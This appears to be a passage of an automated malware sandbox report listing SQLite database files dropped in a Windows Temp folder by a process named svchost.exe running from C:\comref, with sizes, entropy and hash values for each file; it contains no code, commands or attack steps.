                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\hT9cNNMyxH

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\hUuOYKrr6g

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\i3y0VnqD3J

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\iWnabsCJnr

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\iZYxq8pl4B

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\iclKmVmWNH

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\idb46pt7K0

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\iiZpWsNQJ0

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\iuOVz3fm4z

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\iuUZ5EgjPH

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\j39miRcDd4

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\j3mqDY2Gxv

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\j4gdgEZOgJ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\jIP5UVL59m

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\jgBRd6WxTE

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\jgxVY7dEgZ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\jkA3w9Se1c

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\jod8OY0J2b

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\k1bTi6mjsD

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\k7TwBODRyg

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\kHGDqtpkPh

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\kfWrPVlysn

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\klZhPCNhJK

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\kqUm4iMtfT

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
